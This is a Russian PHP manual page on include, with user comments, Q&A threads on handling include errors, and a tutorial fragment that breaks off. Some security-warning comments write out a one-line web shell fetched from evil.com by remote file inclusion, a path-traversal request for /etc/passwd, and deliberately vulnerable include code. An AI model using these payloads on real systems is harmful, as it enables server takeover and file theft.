Php если ошибка include то

(PHP 4, PHP 5, PHP 7, PHP 8)

Выражение include включает и выполняет
указанный файл.

Документация ниже также относится к выражению require.

Файлы включаются исходя из пути указанного файла, или, если путь не указан,
используется путь, указанный в директиве include_path. Если файл
не найден в include_path,
include попытается проверить директорию, в которой находится текущий включающий скрипт
и текущую рабочую директорию перед тем, как выдать ошибку. Конструкция
include выдаст E_WARNING, если
не сможет найти файл; поведение отлично от require, который выдаст
E_ERROR.

Обратите внимание, что и include и require
выдают дополнительную ошибку уровня E_WARNING, если к файлу невозможно
получить доступ, перед тем, как выдать последнюю ошибку уровня
E_WARNING или E_ERROR соответственно.

Если путь указан — абсолютный (начинающийся с буквы диска или с
в Windows или с / в Unix/Linux
системах) или относительно текущей директории (начинающийся с
. или ..) —
include_path будет проигнорирован вообще.
Например, если имя файла начинается с ../,
парсер будет искать в родительской директории запрошенный файл.

Для дополнительной информации о том, как PHP обрабатывает включаемые файлы и включаемые пути,
смотрите документацию для директивы include_path.

Когда файл включается, его код наследует ту же
область видимости переменных, что
и строка, на которой произошло включение. Все переменные, доступные на этой строке
во включающем файле, будут также доступны во включаемом файле.
Однако все функции и классы, объявленные во включаемом файле, имеют
глобальную область видимости.

Пример #1 Простой пример include


vars.php
<?php

$color

= 'зелёное';
$fruit = 'яблоко';?>

test.php
<?phpecho "Одно $color $fruit"; // Одноinclude 'vars.php';

echo

"Одно $color $fruit"; // Одно зелёное яблоко?>

Если включение происходит внутри функции включающего файла,
тогда весь код, содержащийся во включаемом файле, будет вести себя так,
как будто он был определён внутри этой функции. То есть, он будет в той же области видимости
переменных этой функции.
Исключением к этому правилу являются магические константы, которые
выполняются парсером перед тем, как происходит включение.

Пример #2 Включение внутри функции


<?phpfunction foo()
{
global
$color;

include

'vars.php';

echo

"Одно $color $fruit";
}
/* vars.php в той же области видимости, что и foo(), *
* поэтому $fruit НЕ будет доступен за пределами этой области *
* $color доступен, поскольку мы объявили переменную глобальной */
foo(); // Одно зелёное яблоко
echo "Одно $color $fruit"; // Одно зелёное?>

Когда файл включается, парсинг в режиме PHP-кода прекращается и переключается
в режим HTML в начале указанного файла и продолжается
снова в конце. По этой причине любой код внутри включаемого файла,
который должен быть выполнен как код PHP, должен быть заключён в
корректные теги начала и конца PHP-кода.

Если «обёртки URL include»
включены в PHP, вы можете также указать файл для включения через URL (с помощью HTTP или
других поддерживающихся обработчиков — смотрите Поддерживаемые протоколы и обёртки для списка
протоколов) вместо локального пути. Если целевой сервер интерпретирует
указанный файл как код PHP, переменные могут быть переданы во включаемый файл
с помощью строки URL-запроса при использовании HTTP GET. Это совсем не то же самое,
что включение файла и наследование родительской области видимости; скрипт
выполняется на удалённом сервере, и результат затем
включается в локальный скрипт.

Пример #3 Пример include через HTTP


<?php/* В этом примере предполагается, что www.example.com настроен на обработку .php
* файлов, но не .txt. Также, 'Сработает' обозначает, что переменные
* $foo и $bar доступны внутри включаемого файла. */

// Не сработает; file.txt не обрабатывается www.example.com как PHP

include 'http://www.example.com/file.txt?foo=1&bar=2';// Не сработает; будет искать файл 'file.php?foo=1&bar=2' в
// локальной файловой системе.
include 'file.php?foo=1&bar=2';// Сработает.
include 'http://www.example.com/file.php?foo=1&bar=2';
?>

Внимание

Предупреждение безопасности

Удалённые файлы могут быть обработаны на удалённой стороне (в зависимости от
расширения файла и того, что удалённый сервер выполняет скрипты PHP или нет), но это всё равно
должно производить корректный скрипт PHP, потому что он будет затем обработан уже на
локальном сервере. Если файл с удалённого сервера должен быть обработан
и только отображён его результат, гораздо эффективно воспользоваться функцией readfile()
В противном случае следует соблюдать особую осторожность, чтобы обезопасить
удалённый скрипт для получения корректного и желаемого кода.

Смотрите также раздел Удалённые файлы, функции
fopen() и file() для дополнительной
информации.

Обработка возвращаемых значений: оператор include возвращает
значение FALSE в случае возникновения ошибки и выдаёт предупреждение. Успешные
включения, пока это не переопределено во включаемом файле, возвращают значение
1. Возможно выполнить выражение return
внутри включаемого файла, чтобы завершить процесс выполнения в
этом файле и вернуться к выполнению включающего файла. Кроме того, возможно вернуть
значение из включаемых файлов. Вы можете получить значение включения, как
если бы вы вызвали обычную функцию. Хотя это невозможно при включении
удалённого файла, только если вывод удалённого файла не содержит
корректные теги начала и конца PHP
кода (так же, как и локальный файл). Вы можете определить необходимые
переменные внутри этих тегов и они будут представлены в зависимости от того,
какой файл был выключен.

Так как include — это специальная языковая конструкция,
круглые скобки не обязательны вокруг аргумента. Будьте внимательны при сравнении
возвращаемого значения.

Пример #4 Сравнение возвращаемого значения при include


<?php
// не сработает, интерпретируется как include(('vars.php') == TRUE), то есть include('1')
if (include('vars.php') == TRUE) {
echo
'OK';
}
// сработает
if ((include 'vars.php') == TRUE) {
echo
'OK';
}
?>

Пример #5 Выражения include и return


return.php
<?php

$var

= 'PHP';

return

$var;?>

noreturn.php
<?php

$var

= 'PHP';?>

testreturns.php
<?php

$foo

= include 'return.php';

echo

$foo; // выведет 'PHP'$bar = include 'noreturn.php';

echo

$bar; // выведет 1?>

$bar имеет значение 1, т.к. включение файла произошло
успешно. Заметьте разницу между примерами сверху. Первый использует
return внутри включаемого файла, тогда как второй не использует.
Если файл не может быть включён, возвращается false и возникает
E_WARNING.

Если во включаемом файле определены функции, они могут быть использованы в
главном файле вне зависимости от того, были ли они объявлены до return или после.
Если файл включается дважды, PHP выдаст фатальную ошибку, потому что функции
уже были определены.
Рекомендуется использовать include_once вместо того, чтобы
проверять был ли файл уже включён.

Другой путь «включить» PHP-файл в переменную — это захватить
вывод с помощью функций контроля вывода
вместе с include. Например:

Пример #6 Использование буферизации вывода для включения файла PHP в строку


<?php
$string
= get_include_contents('somefile.php');

function

get_include_contents($filename) {
if (
is_file($filename)) {
ob_start();
include
$filename;
return
ob_get_clean();
}
return
false;
}
?>

Для того, чтобы включать файлы автоматически в скрипты, обратите внимание на конфигурационные директивы
auto_prepend_file и
auto_append_file
в php.ini.

Замечание: Поскольку это языковая конструкция, а не функция, она не может вызываться при помощи переменных функций или именованных аргументов.

Смотрите также require, require_once,
include_once, get_included_files(),
readfile(), virtual() и
include_path.

snowyurik at gmail dot com

14 years ago


This might be useful:
<?php
include $_SERVER['DOCUMENT_ROOT']."/lib/sample.lib.php";
?>
So you can move script anywhere in web-project tree without changes.

Rash

8 years ago


If you want to have include files, but do not want them to be accessible directly from the client side, please, please, for the love of keyboard, do not do this:

<?php# index.php
define('what', 'ever');
include
'includeFile.php';# includeFile.php

// check if what is defined and die if not

?>

The reason you should not do this is because there is a better option available. Move the includeFile(s) out of the document root of your project. So if the document root of your project is at "/usr/share/nginx/html", keep the include files in "/usr/share/nginx/src".

<?php# index.php (in document root (/usr/share/nginx/html))include __DIR__ . '/../src/includeFile.php';?>

Since user can't type 'your.site/../src/includeFile.php', your includeFile(s) would not be accessible to the user directly.


John Carty

6 years ago


Before using php's include, require, include_once or require_once statements, you should learn more about Local File Inclusion (also known as LFI) and Remote File Inclusion (also known as RFI).

As example #3 points out, it is possible to include a php file from a remote server.

The LFI and RFI vulnerabilities occur when you use an input variable in the include statement without proper input validation.  Suppose you have an example.php with code:

<?php
// Bad Code
$path = $_GET['path'];
include
$path . 'example-config-file.php';
?>

As a programmer, you might expect the user to browse to the path that you specify.

However, it opens up an RFI vulnerability.  To exploit it as an attacker, I would first setup an evil text file with php code on my evil.com domain.

evil.txt
<?php echo shell_exec($_GET['command']);?>

It is a text file so it would not be processed on my server but on the target/victim server.  I would browse to:
h t t p : / / w w w .example.com/example.php?command=whoami& path= h t t p : / / w w w .evil.com/evil.txt%00

The example.php would download my evil.txt and process the operating system command that I passed in as the command variable.  In this case, it is whoami.  I ended the path variable with a %00, which is the null character.  The original include statement in the example.php would ignore the rest of the line.  It should tell me who the web server is running as.

Please use proper input validation if you use variables in an include statement.


Anon

11 years ago


I cannot emphasize enough knowing the active working directory. Find it by: echo getcwd();
Remember that if file A includes file B, and B includes file C; the include path in B should take into account that A, not B, is the active working directory.

error17191 at gmail dot com

7 years ago


When including a file using its name directly without specifying we are talking about the current working directory, i.e. saying (include "file") instead of ( include "./file") . PHP will search first in the current working directory (given by getcwd() ) , then next searches for it in the directory of the script being executed (given by __dir__).
This is an example to demonstrate the situation :
We have two directory structure :
-dir1
----script.php
----test
----dir1_test
-dir2
----test
----dir2_test

dir1/test contains the following text :
This is test in dir1
dir2/test contains the following text:
This is test in dir2
dir1_test contains the following text:
This is dir1_test
dir2_test contains the following text:
This is dir2_test

script.php contains the following code:
<?phpecho 'Directory of the current calling script: ' . __DIR__;
echo
'<br />';
echo
'Current working directory: ' . getcwd();
echo
'<br />';
echo
'including "test" ...';
echo
'<br />';
include
'test';
echo
'<br />';
echo
'Changing current working directory to dir2';
chdir('../dir2');
echo
'<br />';
echo
'Directory of the current calling script: ' . __DIR__;
echo
'<br />';
echo
'Current working directory: ' . getcwd();
echo
'<br />';
echo
'including "test" ...';
echo
'<br />';
include
'test';
echo
'<br />';
echo
'including "dir2_test" ...';
echo
'<br />';
include
'dir2_test';
echo
'<br />';
echo
'including "dir1_test" ...';
echo
'<br />';
include
'dir1_test';
echo
'<br />';
echo
'including "./dir1_test" ...';
echo
'<br />';
(@include
'./dir1_test') or die('couldn't include this file ');
?>
The output of executing script.php is :

Directory of the current calling script: C:devwwwphp_experimentsworking_directoryexample2dir1
Current working directory: C:devwwwphp_experimentsworking_directoryexample2dir1
including "test" ...
This is test in dir1
Changing current working directory to dir2
Directory of the current calling script: C:devwwwphp_experimentsworking_directoryexample2dir1
Current working directory: C:devwwwphp_experimentsworking_directoryexample2dir2
including "test" ...
This is test in dir2
including "dir2_test" ...
This is dir2_test
including "dir1_test" ...
This is dir1_test
including "./dir1_test" ...
couldn't include this file


Wade.

14 years ago


If you're doing a lot of dynamic/computed includes (>100, say), then you may well want to know this performance comparison: if the target file doesn't exist, then an @include() is *ten* *times* *slower* than prefixing it with a file_exists() check. (This will be important if the file will only occasionally exist - e.g. a dev environment has it, but a prod one doesn't.)

Wade.


Rick Garcia

15 years ago


As a rule of thumb, never include files using relative paths. To do this efficiently, you can define constants as follows:

----
<?php // prepend.php - autoprepended at the top of your tree
define('MAINDIR',dirname(__FILE__) . '/');
define('DL_DIR',MAINDIR . 'downloads/');
define('LIB_DIR',MAINDIR . 'lib/');
?>
----

and so on. This way, the files in your framework will only have to issue statements such as this:

<?php
require_once(LIB_DIR . 'excel_functions.php');
?>

This also frees you from having to check the include path each time you do an include.

If you're running scripts from below your main web directory, put a prepend.php file in each subdirectory:

--
<?php
include(dirname(dirname(__FILE__)) . '/prepend.php');
?>
--

This way, the prepend.php at the top always gets executed and you'll have no path handling headaches. Just remember to set the auto_prepend_file directive on your .htaccess files for each subdirectory where you have web-accessible scripts.


jbezorg at gmail dot com

5 years ago


Ideally includes should be kept outside of the web root. That's not often possible though especially when distributing packaged applications where you don't know the server environment your application will be running in. In those cases I use the following as the first line.

( __FILE__ != $_SERVER['SCRIPT_FILENAME'] ) or exit ( 'No' );


Ray.Paseur often uses Gmail

8 years ago


It's worth noting that PHP provides an OS-context aware constant called DIRECTORY_SEPARATOR.  If you use that instead of slashes in your directory paths your scripts will be correct whether you use *NIX or (shudder) Windows.  (In a semi-related way, there is a smart end-of-line character, PHP_EOL)

Example:
<?php
$cfg_path
= 'includes'
. DIRECTORY_SEPARATOR
. 'config.php'
;
require_once(
$cfg_path);


anonphpuser

7 months ago


In the Example #2 Including within functions, the last two comments should be reversed I believe.

Chris Bell

13 years ago


A word of warning about lazy HTTP includes - they can break your server.

If you are including a file from your own site, do not use a URL however easy or tempting that may be. If all of your PHP processes are tied up with the pages making the request, there are no processes available to serve the include. The original requests will sit there tying up all your resources and eventually time out.

Use file references wherever possible. This caused us a considerable amount of grief (Zend/IIS) before I tracked the problem down.


sPlayer

12 years ago


Sometimes it will be usefull to include a string as a filename

<?php
//get content

$cFile = file_get_contents('crypted.file');

//decrypt the content

$content = decrypte($cFile);
//include this

include("data://text/plain;base64,".base64_encode($content));

//or

include("data://text/plain,".urlencode($content));

?>


joe dot naylor at gmail dot com

12 years ago


Be very careful with including files based on user inputed data.  For instance, consider this code sample:

index.php:
<?php
$page
= $_GET['page'];
if (
file_exists('pages/'.$page.'.php'))
{
   include(
'pages/'.$page.'.php');
}
?>

Then go to URL:
index.php?page=/../../../../../../etc/passwd%00.html

file_exists() will return true, your passwd file will be included and since it's not php code it will be output directly to the browser.

Of course the same vulnerability exists if you are reading a file to display, as in a templating engine.

You absolutely have to sanitize any input string that will be used to access the filesystem, you can't count on an absolute path or appended file extension to secure it.  Better yet, know exactly what options you can accept and accept only those options.


hyponiq at gmail dot com

13 years ago


I would like to point out the difference in behavior in IIS/Windows and Apache/Unix (not sure about any others, but I would think that any server under Windows will be have the same as IIS/Windows and any server under Unix will behave the same as Apache/Unix) when it comes to path specified for included files.

Consider the following:
<?php
include '/Path/To/File.php';
?>

In IIS/Windows, the file is looked for at the root of the virtual host (we'll say C:ServerSitesMySite) since the path began with a forward slash.  This behavior works in HTML under all platforms because browsers interpret the / as the root of the server.

However, Unix file/folder structuring is a little different.  The / represents the root of the hard drive or current hard drive partition.  In other words, it would basically be looking for root:/Path/To/File.php instead of serverRoot:/Path/To/File.php (which we'll say is /usr/var/www/htdocs).  Thusly, an error/warning would be thrown because the path doesn't exist in the root path.

I just thought I'd mention that.  It will definitely save some trouble for those users who work under Windows and transport their applications to an Unix-based server.

A work around would be something like:
<?php
$documentRoot
= null;

if (isset(

$_SERVER['DOCUMENT_ROOT'])) {
   
$documentRoot = $_SERVER['DOCUMENT_ROOT'];

        if (

strstr($documentRoot, '/') || strstr($documentRoot, '\')) {
        if (
strstr($documentRoot, '/')) {
           
$documentRoot = str_replace('/', DIRECTORY_SEPARATOR, $documentRoot);
        }
        elseif (
strstr($documentRoot, '\')) {
           
$documentRoot = str_replace('\', DIRECTORY_SEPARATOR, $documentRoot);
        }
    }

        if (

preg_match('/[^\/]{1}\[^\/]{1}/', $documentRoot)) {
       
$documentRoot = preg_replace('/([^\/]{1})\([^\/]{1})/', '\1DIR_SEP\2', $documentRoot);
       
$documentRoot = str_replace('DIR_SEP', '\\', $documentRoot);
    }
}
else {
   
/**
     * I usually store this file in the Includes folder at the root of my
     * virtual host. This can be changed to wherever you store this file.
     *
     * Example:
     * If you store this file in the Application/Settings/DocRoot folder at the
     * base of your site, you would change this array to include each of those
     * folders.
     *
     * <code>
     * $directories = array(
     *     'Application',
     *     'Settings',
     *     'DocRoot'
     * );
     * </code>
     */
   
$directories = array(
       
'Includes'
   
);

        if (

defined('__DIR__')) {
       
$currentDirectory = __DIR__;
    }
    else {
       
$currentDirectory = dirname(__FILE__);
    }
$currentDirectory = rtrim($currentDirectory, DIRECTORY_SEPARATOR);
   
$currentDirectory = $currentDirectory . DIRECTORY_SEPARATOR;

        foreach (

$directories as $directory) {
       
$currentDirectory = str_replace(
           
DIRECTORY_SEPARATOR . $directory . DIRECTORY_SEPARATOR,
           
DIRECTORY_SEPARATOR,
           
$currentDirectory
       
);
    }
$currentDirectory = rtrim($currentDirectory, DIRECTORY_SEPARATOR);
}
define('SERVER_DOC_ROOT', $documentRoot);
?>

Using this file, you can include files using the defined SERVER_DOC_ROOT constant and each file included that way will be included from the correct location and no errors/warnings will be thrown.

Example:
<?php
include SERVER_DOC_ROOT . '/Path/To/File.php';
?>


ayon at hyurl dot com

6 years ago


It is also able to include or open a file from a zip file:
<?php
include "something.zip#script.php";
echo
file_get_contents("something.zip#script.php");
?>
Note that instead of using / or , open a file from a zip file uses # to separate zip name and inner file's name.

mbread at m-bread dot com

16 years ago


If you have a problem with "Permission denied" errors (or other permissions problems) when including files, check:

1) That the file you are trying to include has the appropriate "r" (read) permission set, and
2) That all the directories that are ancestors of the included file, but not of the script including the file, have the appropriate "x" (execute/search) permission set.


example at user dot com

14 years ago


Just about any file type can be 'included' or 'required'.  By sending appropriate headers, like in the below example, the client would normally see the output in their browser as an image or other intended mime type.

You can also embed text in the output, like in the example below.  But an image is still an image to the client's machine.  The client must open the downloaded file as plain/text to see what you embedded.

<?php

header

('Content-type: image/jpeg');
header('Content-Disposition: inline;');

include

'/some_image.jpg';
echo
'This file was provided by example@user.com.';?>

Which brings us to a major security issue.  Scripts can be hidden within images or files using this method.  For example, instead echoing "<?php phpinfo(); ?>", a foreach/unlink loop through the entire filesystem, or some other method of disabling security on your machine.

'Including' any file made this way will execute those scripts.  NEVER 'include' anything that you found on the web or that users upload or can alter in any way.  Instead, use something a little safer to display the found file, like "echo file_get_contents('/some_image.jpg');"


durkboek A_T hotmail D_O_T com

19 years ago


I would like to emphasize the danger of remote includes. For example:
Suppose, we have a server A with Linux and PHP 4.3.0 or greater installed which has the file index.php with the following code:

<?php
// File: index.php
include ($_GET['id'].".php");
?>

This is, of course, not a very good way to program, but i actually found a program doing this.

Then, we hava a server B, also Linux with PHP installed, that has the file list.php with the following code:

<?php
// File: list.php
$output = "";
exec("ls -al",$output);
foreach(
$output as $line) {
echo
$line . "<br>n";
}
?>

If index.php on Server A is called like this: http://server_a/index.php?id=http://server_b/list
then Server B will execute list.php and Server A will include the output of Server B, a list of files.

But here's the trick: if Server B doesn't have PHP installed, it returns the file list.php to Server A, and Server A executes that file. Now we have a file listing of Server A!
I tried this on three different servers, and it allways worked.
This is only an example, but there have been hacks uploading files to servers etc.

So, allways be extremely carefull with remote includes.


abanarn at gmail dot com

8 years ago


To Windows coders, if you are upgrading from 5.3 to 5.4 or even 5.5; if you have have coded a path in your require or include you will have to be careful. Your code might not be backward compatible. To be more specific; the code escape for ESC, which is "e" was introduced in php 5.4.4 + but if you use 5.4.3 you should be fine. For instance:

Test script:
-------------
<?php
require("C:elementscriptsinclude.php");
?>

In php 5.3.* to php 5.4.3
----------------------------
If you use require("C:elementscriptsinclude.php")  it will work fine.

If php 5.4.4 + It will break.
------------------------------
Warning: require(C:←lementscriptsinclude.php): failed to open stream: In
valid argument in C:elementscriptsinclude.php on line 20

Fatal error: require(): Failed opening required 'C:←lementscriptsinclude.php

Solution:
-----------
Theoretically, you should be always using "\" instead of "" when you write php in windows machine OR use "/" like in Linux and you should fine since "" is an escape character in most programming languages.
If you are not using absolute paths ; stream functions is your best friend like stream_resolve_include_path() , but you need to include the path you are resolving in you php.ini (include_path variable).

I hope this makes sense and I hope it will someone sometime down the road.
cheers,


james at gogo dot co dot nz

19 years ago


While you can return a value from an included file, and receive the value as you would expect, you do not seem to be able to return a reference in any way (except in array, references are always preserved in arrays).

For example, we have two files, file 1.php contains...
<?php
 
function &x(&$y)
  {
    return include(
dirname(__FILE__) . '/2.php');
  }
$z = "FOOn";
 
$z2 = &x($z);

  echo

$z2;
 
$z  = "NOOn";

    echo

$z2;
?>

and file 2.php contains...
<?php  return $y; ?>

calling 1.php will produce

FOO
FOO

i.e the reference passed to x() is broken on it's way out of the include()

Neither can you do something like <?php $foo =& include(....); ?> as that's a parse error (include is not a real function, so can't take a reference in that case).  And you also can't do <?php return &$foo ?> in the included file (parse error again, nothing to assign the reference too).

The only solutions are to set a variable with the reference which the including code can then return itself, or return an array with the reference inside.

---
James Sleeman
http://www.gogo.co.nz/


uramihsayibok, gmail, com

15 years ago


I have a need to include a lot of files, all of which are contained in one directory. Support for things like <?php include_once 'dir/*.php'; ?> would be nice, but it doesn't exist.

Therefore I wrote this quick function (located in a file automatically included by auto_prepend_file):
<?phpfunction include_all_once ($pattern) {
    foreach (
glob($pattern) as $file) { // remember the { and } are necessary!
       
include $file;
    }
}
// used like
include_all_once('dir/*.php');?>
A fairly obvious solution. It doesn't deal with relative file paths though; you still have to do that yourself.


Jero Minh

8 years ago


Notice that using @include (instead of include without @) will set the local value of error_reporting to 0 inside the included script.

Consider the following:
<?php
    ini_set
('error_reporting', E_ALL);

    echo

"Own value before: ";
    echo
ini_get('error_reporting');
    echo
"rn";

    echo

"include foo.php: ";
    include(
'foo.php');

    echo

"@include foo.php: ";
    @include(
'foo.php');

    echo

"Own value now: " . ini_get('error_reporting');
?>

foo.php
<?php
   
echo ini_get('error_reporting') . "rn";
?>

Output:
    Own value before: 32767
    include foo.php: 32767
    @include foo.php: 0
    Own value now: 32767


I’m writing a script in PHP5 that requires the code of certain files. When A file is not available for inclusion, first a warning and then a fatal error are thrown. I’d like to print an own error message, when it was not possible to include the code. Is it possible to execute one last command, if requeire did not work? the following did not work:

require('fileERROR.php5') or die("Unable to load configuration file.");

Supressing all error messages using error_reporting(0) only gives a white screen, not using error_reporting gives the PHP-Errors, which I don’t want to show.

maček's user avatar

maček

76k37 gold badges167 silver badges197 bronze badges

asked Nov 24, 2011 at 19:34

R_User's user avatar

You can accomplish this by using set_error_handler in conjunction with ErrorException.

The example from the ErrorException page is:

<?php
function exception_error_handler($errno, $errstr, $errfile, $errline ) {
    throw new ErrorException($errstr, $errno, 0, $errfile, $errline);
}
set_error_handler("exception_error_handler");

/* Trigger exception */
strpos();
?>

Once you have errors being handled as exceptions you can do something like:

<?php
try {
    include 'fileERROR.php5';
} catch (ErrorException $ex) {
    echo "Unable to load configuration file.";
    // you can exit or die here if you prefer - also you can log your error,
    // or any other steps you wish to take
}
?>

trejder's user avatar

trejder

17k27 gold badges123 silver badges215 bronze badges

answered Dec 31, 2012 at 16:30

Sjan Evardsson's user avatar

4

I just use ‘file_exists()’:

if (file_exists("must_have.php")) {
    require "must_have.php";
}
else {
    echo "Please try back in five minutes...n";
}

answered Feb 11, 2015 at 21:48

Nicholas Rezmerski's user avatar

4

A better approach would be to use realpath on the path first. realpath will return false if the file does not exist.

$filename = realpath(getcwd() . "/fileERROR.php5");
$filename && return require($filename);
trigger_error("Could not find file {$filename}", E_USER_ERROR);

You could even create your own require function in your app’s namespace that wraps PHP’s require function

namespace app;

function require_safe($filename) {
  $path = realpath(getcwd() . $filename);
  $path && return require($path);
  trigger_error("Could not find file {$path}", E_USER_ERROR);
}

Now you can use it anywhere in your files

namespace app;

require_safe("fileERROR.php5");

answered Nov 24, 2011 at 19:43

maček's user avatar

mačekmaček

76k37 gold badges167 silver badges197 bronze badges

1

You need to use include(). Require(), when used on non-existent file, produces a fatal error and exits the script, so your die() won’t happen. Include() only throws warning and then the script continues.

answered Nov 24, 2011 at 20:12

Ondra Koupil's user avatar

3

As of PHP 7.0, you can catch the Throwable exception thrown by require().

try {
    require '/path/not-found/or-not-available.php';
}
catch (Error $e) {
    // debugging example:
    die('Caught error => ' . $e->getMessage());
}

Will output something like:

Caught error => Failed opening required ‘/path/not-found/or-not-available.php’ […]

answered Feb 6 at 20:30

Syscall's user avatar

SyscallSyscall

19.2k10 gold badges36 silver badges52 bronze badges

I would suggest you took a look at the most recent comment in the documentation for the set_error_handler() function.

It suggests the following as a method (and with an example) of catching fatal errors:

<?php
function shutdown()
{
    $a=error_get_last();
    if($a==null)  
        echo "No errors";
    else
         print_r($a);

}
register_shutdown_function('shutdown');
ini_set('max_execution_time',1 );
sleep(3);
?> 

I haven’t tried the suggestion, but this could propably be used in other fatal error scenarios.

answered Nov 24, 2011 at 19:43

Repox's user avatar

RepoxRepox

15k8 gold badges54 silver badges79 bronze badges

1

A simple way I am using is that

<?php
    ...
    if(!include 'config.php'){
        die("File not found handler. >_<");
    }
   ...
?>

answered Jun 24, 2019 at 18:56

Prashant's user avatar

PrashantPrashant

3831 gold badge6 silver badges17 bronze badges

2

Вопрос:

Если я включаю файл в php. Если в этом php есть какая-то фатальная ошибка, есть ли способ пропустить это.

<?php
include "somefile.php";
echo "OK"; // Is there any way to print this OK  If there is any fatal error on somefile.php
?>

Мне нужно включить этот файл somefile.php. Он может вернуть фатальную ошибку для некоторых хостов. Я хочу пропустить этот файл для этого хоста.

Пожалуйста, помогите мне.

Лучший ответ:

С помощью этого вы можете определить свою собственную функцию продолжения, которая будет принята в случае фатальной ошибки. Это использует register_shutdown_function(), чтобы перехватить фатальную ошибку.

Использование:

function my_continuation_func($filename, $arg2) {
    // On fatal error during include, continue script execution from here.
    // When this function ends, or if another fatal error occurs,
    // the execution will stop.
}

include_try('my_continuation_func', array($filename, $arg2));
$data = include($filename);
$error = include_catch();

Если возникает фатальная ошибка (например, ошибка синтаксического анализа), выполнение script будет продолжено с my_continuation_func(). В противном случае include_catch() возвращает true, если во время разбора произошла ошибка.

Любой вывод (например, echo 'something';) из include() рассматривается как ошибка. Если вы не включили вывод, передав true в качестве третьего аргумента include_try().

Этот код автоматически позаботится о возможных изменениях рабочего каталога в функции выключения.

Вы можете использовать это для любого количества включений, но вторая фатальная ошибка, которая возникает, не может быть перехвачена: выполнение остановится.

Функции, которые необходимо включить:

function include_try($cont_func, $cont_param_arr, $output = false) {
    // Setup shutdown function:
    static $run = 0;
    if($run++ === 0) register_shutdown_function('include_shutdown_handler');

    // If output is not allowed, capture it:
    if(!$output) ob_start();
    // Reset error_get_last():
    @user_error('error_get_last mark');
    // Enable shutdown handler and store parameters:
    $params = array($cont_func, $cont_param_arr, $output, getcwd())
    $GLOBALS['_include_shutdown_handler'] = $params;
}

function include_catch() {
    $error_get_last = error_get_last();
    $output = $GLOBALS['_include_shutdown_handler'][2];
    // Disable shutdown handler:
    $GLOBALS['_include_shutdown_handler'] = NULL;
    // Check unauthorized outputs or if an error occured:
    return ($output ? false : ob_get_clean() !== '')
        || $error_get_last['message'] !== 'error_get_last mark';
}

function include_shutdown_handler() {
    $func = $GLOBALS['_include_shutdown_handler'];
    if($func !== NULL) {
        // Cleanup:
        include_catch();
        // Fix potentially wrong working directory:
        chdir($func[3]);
        // Call continuation function:
        call_user_func_array($func[0], $func[1]);
    }
}

Ответ №1

Fatal означает смертельный…
Невозможно оправиться от фатальной ошибки.

Ответ №2

PHP не будет терпеть с Fatal Errors. Лучше всего проверить включенный файл и решить его.
На самом деле вы можете попробовать register-shutdown-function, но не рекомендуется убегать от ваших проблем.

Ответ №3

Вы можете использовать register_shutdown_function.

<?php
function echoOk()
{
echo "OK";
}

register_shutdown_function(function ()
{
$error = error_get_last();
// to make sure that there is any fatal error
if (isset($error) &&
($error['type'] == E_ERROR
|| $error['type'] == E_PARSE
|| $error['type'] == E_COMPILE_ERROR
|| $error['type'] == E_CORE_ERROR))
{
echoOk();
}
});

include "somefile.php";

echoOk();

Но вы можете сделать это только один раз. Любая дальнейшая фатальная ошибка прекратит выполнение.

Ответ №4

edit: я пропустил слово со смертельным исходом. Как уже говорилось, вы не можете восстановить фатальную ошибку. Если это всего лишь исключение, то будет работать поспешный ответ ниже.

Включение другого php-модуля совпадает с тем, что этот код вставлен в строку, поэтому простой оператор try-catch должен работать:

<?php
try {
include "somefile.php";
} catch (Exception $e) {
echo 'Caught exception: ',  $e->getMessage(), "n";
}
echo "OK";
?>

Ответ №5

Попробуйте установить функцию set_error_handler(), которая не умирает от фатальных ошибок, но вместо этого Apache разбился. Другими словами, PHP должен умереть, так что система не работает.

Смотрите LINK

Ответ №6

Неустранимая ошибка означает, что что-то серьезно не так с кодом включения. Как сказал @Orangepill, нет способа остановить это фатальное сообщение об ошибке. Пожалуйста, просмотрите свое кодирование и найдите ошибку.

Ответ №7

Да, есть. Это можно сделать с помощью простого оператора if

У вас есть:

<?php
include "somefile.php";
echo "OK"; // Is there any way to print this OK  If there is any fatal error on
?>

Попробуйте следующее:

<?php
if(include "somefile.php"){
// echo do something if success
}else{
echo "OK";
}

include

require

require_once и include_once

Операторы break и continue

Управляющие конструкции: php.net

Выражения require, include, require_once, include_once — позволяют подключить к
одному файлу другой файл, то есть, это значит, что мы вполне можем вынести какой-то
повторяющийся участок кода в отдельный файл. Например, шапку сайта вынести в
отдельный файл, назвав его, например, — header.php и данный файл подключать ко всем
страницам сайта. Тогда, если появится новая страница, и нужно добавить пункт в меню,
то мы сделаем всего одно изменение — мы откроем файл header.php и в него добавим
всего один раз новый пунк меню. А поскольку этот файл подключается ко всем прочим
файлам, то это значит, что изменения, внесенные только один раз, коснутся всех
страниц в нашем сайте. Также эта идея касается футера, шаблонов, подключений
к базе данных и т. д. Это очень удобно и практично.

include

Создадим в папке с уроком новый файл inc.php и запишем в него заголовок:

-- файл inc.php --

<h1>Hello, World!</h1>

Подключаем его в файле index.php:

-- файл index.php --

<!doctype html>
<html>
<head>
<meta charset="UTF-8">

<title>require и include в PHP</title>

</head>
<body>

<p>Привет мир!</p>

<!-- подключаем файл inc.php с помощью include -->
<?php include 'inc.php' ?>

<!-- подключаем файл inc.php второй раз с помощью include -->
<?php include 'inc.php' ?> <!-- это сработает -->

<p>Привет мир!</p>

</body>
</html>

После обновления страницы получим:
Привет мир!
Hello, World! // содержимое подключаемого файла
Hello, World! // содержимое повторного подключения файла
Привет мир!

— то есть, вместо строки <?php include ‘inc.php’ ?> подставляется содержимое
файла inc.php

Если мы попытаемся подключить этот файл второй раз, то это сработает.

В файле inc.php запишем массив $names:

-- файл inc.php --

<h1>Hello, World!</h1>

<?php
// запишем массив $names
$names = [ 'Ivanov' , 'Petrov' ];

Поскольку файл inc.php мы подключаем к индексному файлу, то в индексном файле нам доступен
массив $names, в этом легко убедиться, распечатав этот массив:

-- файл index.php --

<!doctype html>
<html>
<head>
<meta charset="UTF-8">

<title>require и include в PHP</title>

</head>
<body>

<p>Привет мир!</p>

<!-- подключаем файл inc.php с помощью include -->
<?php include 'inc.php' ?>

<!-- подключаем файл inc.php второй раз с помощью include -->
<?php include 'inc.php' ?> <!-- это сработает -->

// распечатываем массив $names

<?php print_r ( $names ) ?>

<p>Привет мир!</p>

</body>
</html>

После обновления страницы получим:
Привет мир!
Hello, World! // содержимое подключаемого файла
Hello, World! // содержимое повторного подключения файла

Array ( [0] => Ivanov [1] => Petrov ) // распечатанный массив $names
Привет мир!

require

Отличие require от include, заключается в том, что при возникновении ошибки,
например, файл inc.php — находится в другой директории и нам не доступен:

